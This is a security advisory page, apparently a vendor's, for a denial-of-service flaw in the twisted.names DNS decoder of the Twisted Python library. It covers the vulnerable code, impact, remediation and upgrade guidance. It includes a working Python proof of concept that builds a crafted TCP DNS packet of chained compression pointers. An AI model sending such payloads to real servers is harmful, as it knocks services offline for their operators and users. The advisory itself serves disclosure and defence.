CVE-2026-42304 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in twisted. A fix is available for twisted — see the affected versions and patch details below.
Twisted: Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42304.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-42304 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
twistedReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Details
The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.
Technical Details
The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.
Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.
## src/twisted/names/dns.py (Lines 595-631)
def decode(self, strio, length=None):
visited = set()
self.name = b""
off = 0
while 1:
l = ord(readPrecisely(strio, 1))
if l == 0:
if off > 0:
strio.seek(off)
return
if (l >> 6) == 3:
new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))
if new_off in visited:
raise ValueError("Compression loop in encoded name")
visited.add(new_off)
if off == 0:
off = strio.tell()
strio.seek(new_off)
continue
label = readPrecisely(strio, l)
if self.name == b"":
self.name = label
else:
self.name = self.name + b"." + label
PoC
import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers
def create_tcp_payload():
num_pointers = 8000
packet_length = 65533
num_questions = (packet_length - (num_pointers * 2) - 12) // 6
buffer = bytearray(packet_length)
struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)
ptr_offset = 12
for _ in range(num_pointers - 1):
struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
ptr_offset += 2
null_byte_offset = ptr_offset + 2
struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
buffer[null_byte_offset] = 0
question_offset = null_byte_offset + 1
for _ in range(num_questions):
if question_offset + 6 <= packet_length:
struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
question_offset += 6
return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer
def test_dns_server():
factory = server.DNSServerFactory(clients=[])
protocol = factory.buildProtocol(("127.0.0.1", 10053))
transport = proto_helpers.StringTransport()
protocol.makeConnection(transport)
pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
print("payload")
print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")
start = time.time()
protocol.dataReceived(payload)
end = time.time()
print(f"time={end - start:.4f}s")
if __name__ == "__main__":
test_dns_server()
Impact
A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.
Remediation
- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message
- Share the "resolved offset" state across all records in a single message to prevent redundant processing.
- Validate the number of questions before entering the decoding loop in Message.decode.
Resources
https://cwe.mitre.org/data/definitions/400.html
https://cwe.mitre.org/data/definitions/407.html
https://datatracker.ietf.org/doc/html/rfc9267
https://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595
https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09
Author: Tomas Illuminati
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | twisted | all versions | 26.4.0rc2pip install --upgrade 'twisted==26.4.0rc2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for twisted, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update twisted to 26.4.0rc2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42304 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42304 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42304. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Frequently Asked Questions
Is CVE-2026-42304 in your dependencies?
O3 Security finds CVE-2026-42304 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.